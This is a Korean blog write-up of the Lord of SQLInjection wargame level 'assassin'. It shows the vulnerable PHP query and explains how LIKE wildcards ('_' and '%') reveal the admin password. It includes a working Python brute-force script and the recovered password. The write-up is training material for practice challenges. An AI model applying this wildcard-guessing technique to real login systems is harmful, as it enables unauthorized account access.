LOS #15 assassin
2020. 10. 28. 22:59
728x90
728x90
728x90
Lord of SQLInjection
los.rubiya.kr
Source code
http://www.wechall.net
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
Query
select id from prob_assasin where pw like ''
Write-up
위 사진에서 확인할 수 있는 정보는 다음과 같다.
-
파라미터는 pw 1개가 사용될 수 있다.
-
pw 값에 single quote 필터링을 하고 있다.
-
pw 값을 like 명령어로 확인한다.
쿼리문에서 pw 값을 single quote로 감싸고 있기 때문에 pw를 escape하기 어렵다. pw 값을 추측해야 하는데, equal("=") 명령어가 아닌 like 명령어를 사용하고 있으므로 무작위 대입을 하면 된다. like 명령어의 "_" 와일드카드로 pw 값의 길이를 알아내고 "%" 와일드카드로 pw 값을 추측하면 된다.
* like 명령어 참고 링크
SQL LIKE Operator
SQL LIKE Operator The SQL LIKE Operator The LIKE operator is used in a WHERE clause to search for a specified pattern in a column. There are two wildcards often used in conjunction with the LIKE operator: % - The percent sign represents zero, one, or multi
www.w3schools.com
Code
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
urlHome ="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
p = "?pw="
c = "세션값" #세션값
wc = "_"
length = 0
pw = ""
pwTmp = ""
while True:
data = p + wc
r = requests.post(urlHome + data, cookies=(dict(PHPSESSID=c)))
if 'Hello admin' in r.text:
length = wc.count('_')
break
elif 'Hello guest' in r.text:
length = wc.count('_')
wc += '_'
if wc.count('_') == 20:
break
print("length : ", length)
for i in range(1, length + 1):
for j in range(48, 128):
if j == 95: continue # "_" 제외
data = "?pw=" + pw + chr(j) + "%"
r = requests.post(urlHome + data, cookies=(dict(PHPSESSID=c)))
if 'Hello admin' in r.text:
pw += chr(j)
print("admin pw : " + pw)
break
elif 'Hello guest' in r.text:
pwTmp = chr(j)
if j == 127:
pw += pwTmp
print("guest pw : " + pw)
print("pw : " + pw)
Parameter
pw=902EFD10
쿼리문은 다음과 같다.
select id from prob_assasin where pw like '902EFD10'
Success
728x90
728x90
'Wargame > LOS' 카테고리의 다른 글
LOS #17 zombie_assassin (0) | 2020.10.28 |
---|---|
LOS #16 succubus (0) | 2020.10.28 |
LOS #14 giant (0) | 2020.10.28 |
LOS #13 bugbear (0) | 2020.10.28 |
LOS #12 darkknight (0) | 2020.10.28 |